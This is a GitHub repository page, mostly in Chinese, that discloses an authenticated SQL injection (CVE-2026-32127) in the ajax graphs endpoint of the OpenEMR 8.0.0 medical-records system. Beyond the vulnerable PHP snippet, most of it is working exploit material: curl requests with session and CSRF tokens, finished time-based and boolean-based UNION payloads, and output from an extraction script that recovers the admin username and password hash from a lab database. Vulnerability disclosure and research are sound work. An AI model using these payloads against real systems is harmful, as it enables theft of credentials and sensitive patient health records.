ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0

GitHub: ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0

针对 OpenEMR 8.0.0 电子病历系统 ajax graphs 模块的已认证 SQL 注入漏洞利用代码,支持时间盲注和布尔盲注方式提取数据库敏感信息。

Stars: 0 | Forks: 0

# CVE-2026-32127 - OpenEMR 8.0.0 中的 SQL 注入漏洞 ### 概述 OpenEMR 8.0.0 的 ajax graphs 库中存在一个 SQL 注入漏洞,可被已认证的攻击者利用。该漏洞的存在是由于 ajax graphs 库中的输入验证不足。 ### 详情 该漏洞出现在 ajax graphs 库中,用户在 name 参数中提供的输入在没有经过适当清理的情况下直接拼接到 SQL 查询中。这允许攻击者注入恶意的 SQL 代码。 该漏洞影响以下文件: - `library/ajax/graphs.php` [第 76 行](https://github.com/openemr/openemr/blob/4414443923fe22eaeb608b6b55433c0ef8b6d2c3/library/ajax/graphs.php#L76) - `library/ajax/graphs.php` [第 185 行](https://github.com/openemr/openemr/blob/4414443923fe22eaeb608b6b55433c0ef8b6d2c3/library/ajax/graphs.php#L185) - `library/ajax/graphs.php` [第 29 行](https://github.com/openemr/openemr/blob/4414443923fe22eaeb608b6b55433c0ef8b6d2c3/library/ajax/graphs.php#L29) 代码: ``` $name = trim((string) $_POST['name']); ... function graphsGetValues($name) { global $is_lbf, $pid, $table; if ($is_lbf) { // Like below, but for LBF data. $values = sqlStatement( "SELECT " . "ld.field_value AS " . add_escape_custom($name) . ", " . // If data was entered retroactively then cannot use the data entry date. "IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date " . "FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE " . "f.pid = ? AND " . "f.formdir = ? AND " . "f.deleted = 0 AND " . "fe.pid = f.pid AND fe.encounter = f.encounter AND " . "ld.form_id = f.form_id AND " . "ld.field_id = ? AND " . "ld.field_value != '0' " . "ORDER BY date", [$pid, $table, $name] ); } ... } ... if ($table) { // Like below, but for LBF data. $values = graphsGetValues($name); } ``` ### PoC ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=payload"injection&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php' SQL Statement failed on preparation: SELECT ld.field_value AS payload\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date'

Query Error

ERROR: query failed: SELECT ld.field_value AS payload\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date

Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"injection, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS da...' at line 1


/var/www/localhost/htdocs/openemr/library/ajax/graphs.php at 74:sqlStatement
/var/www/localhost/htdocs/openemr/library/ajax/graphs.php at 185:graphsGetValues(payload"injection) ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date,SLEEP(5)%20FROM%20(SELECT%201%20AS%20field_value)%20AS%20ld%20UNION%20SELECT%20ld.field_value%20AS%20date&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php' ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date,SLEEP(1)%20FROM%20(SELECT%20NULL%20AS%20field_value)%20AS%20ld%20UNION%20SELECT%201%20AS%20date,1%20UNION%20SELECT%20ld.field_value%20AS%20date&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php' {"data_final":"Date\t\n","title":""} ┌──(kali㉿kali)-[~] └─$ ``` #### SQL Injection ``` SELECT ld.field_value AS , IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = ? AND f.formdir = ? AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = ? AND ld.field_value != '0' ORDER BY date ``` #### Payload ##### Time based ``` date,SLEEP(1) FROM (SELECT NULL AS field_value) AS ld UNION SELECT 1 AS date,1 UNION SELECT ld.field_value AS date ``` ##### Boolean based 测试: ``` MariaDB [openemr]> SELECT ld.field_value AS date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 0 UNION ALL SELECT ld.field_value AS date, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = 1 AND f.formdir = 2 AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = 3 AND ld.field_value != '0' ORDER BY date; Empty set (0.001 sec) MariaDB [openemr]> SELECT ld.field_value AS date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS date, IF (LEFT(f.date, 10) = LEFT(fe.date, 10), f.date, fe.date) AS date FROM forms AS f, form_encounter AS fe, lbf_data AS ld WHERE f.pid = 1 AND f.formdir = 2 AND f.deleted = 0 AND fe.pid = f.pid AND fe.encounter = f.encounter AND ld.form_id = f.form_id AND ld.field_id = 3 AND ld.field_value != '0' ORDER BY date; +------+------+ | date | 1 | +------+------+ | 1 | 1 | | 1 | 1 | | 1 | 1 | | 1 | 1 | | 1 | 1 | +------+------+ 5 rows in set (0.001 sec) MariaDB [openemr]> ``` 最终: ``` date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS date ``` 测试最终 payload: ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date%2C%201%20FROM%20%28SELECT%201%20AS%20field_value%29%20AS%20ld%20JOIN%20%28SELECT%201%20AS%20n%20UNION%20ALL%20SELECT%202%20UNION%20ALL%20SELECT%203%20UNION%20ALL%20SELECT%204%20UNION%20ALL%20SELECT%205%29%20AS%20numbers%20WHERE%201%20UNION%20ALL%20SELECT%20ld.field_value%20AS%20datedate&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php' {"data_final":"Date\t\n","title":""} ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2" --data 'csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603&name=date%2C%201%20FROM%20%28SELECT%201%20AS%20field_value%29%20AS%20ld%20JOIN%20%28SELECT%201%20AS%20n%20UNION%20ALL%20SELECT%202%20UNION%20ALL%20SELECT%203%20UNION%20ALL%20SELECT%204%20UNION%20ALL%20SELECT%205%29%20AS%20numbers%20WHERE%200%20UNION%20ALL%20SELECT%20ld.field_value%20AS%20datedate&table=LBF' 'http://172.18.0.3/library/ajax/graphs.php' ┌──(kali㉿kali)-[~] └─$ ``` 数据提取: ``` ┌──(kali㉿kali)-[~] └─$ python3 exploit3.py 172.18.0.3 84c7dded187f7601e7f0cd3d0a1780f2 583918e787c3d7816d9cb522ab103d099e55b603 users_secure --columns username password password_history1 password_history2 password_history3 password_history4 [#] Row count for table: users_secure 1 [#] String length: users_secure.username 0 5 [>] Character recovered: a [>] Character recovered: d [>] Character recovered: m [>] Character recovered: i [>] Character recovered: n [+] Extracted string: ascii users_secure username 0 admin [#] String length: users_secure.password 0 60 [>] Character recovered: $ [>] Character recovered: 2 [>] Character recovered: y [>] Character recovered: $ [>] Character recovered: 1 [>] Character recovered: 2 [>] Character recovered: $ [>] Character recovered: g [>] Character recovered: 4 [>] Character recovered: T [>] Character recovered: y [>] Character recovered: s [>] Character recovered: 1 [>] Character recovered: l [>] Character recovered: x [>] Character recovered: A [>] Character recovered: f [>] Character recovered: t [>] Character recovered: B [>] Character recovered: I [>] Character recovered: u [>] Character recovered: x [>] Character recovered: y [>] Character recovered: w [>] Character recovered: o [>] Character recovered: 5 [>] Character recovered: L [>] Character recovered: z [>] Character recovered: e [>] Character recovered: V [>] Character recovered: 7 [>] Character recovered: W [>] Character recovered: 7 [>] Character recovered: a [>] Character recovered: L [>] Character recovered: B [>] Character recovered: z [>] Character recovered: O [>] Character recovered: X [>] Character recovered: g [>] Character recovered: a [>] Character recovered: C [>] Character recovered: g [>] Character recovered: U [>] Character recovered: e [>] Character recovered: v [>] Character recovered: Z [>] Character recovered: x [>] Character recovered: A [>] Character recovered: Y [>] Character recovered: Q [>] Character recovered: a [>] Character recovered: X [>] Character recovered: 0 [>] Character recovered: c [>] Character recovered: y [>] Character recovered: c [>] Character recovered: 2 [>] Character recovered: i [>] Character recovered: O [+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO [#] String length: users_secure.password_history1 0 0 [#] String length: users_secure.password_history2 0 0 [#] String length: users_secure.password_history3 0 0 [#] String length: users_secure.password_history4 0 0 ┌──(kali㉿kali)-[~] └─$ ``` ### 影响 - 未授权访问数据库信息 - 敏感医疗信息的潜在数据泄露 - 服务器端代码执行(在某些情况下) - 数据库受损 ### 贡献者 - 研究员:Christophe SUBLET - 组织:Esisar - 项目:CyberSkills, Orion
标签:Ajax graphs, CISA项目, CVE-2026-32127, Healthcare IT, OpenEMR, OpenVAS, PHP, Web安全, 医疗信息系统, 安全漏洞, 数据库攻击, 电子病历, 编程工具, 蓝队分析, 认证后攻击, 输入验证缺失, 远程代码执行, 逆向工具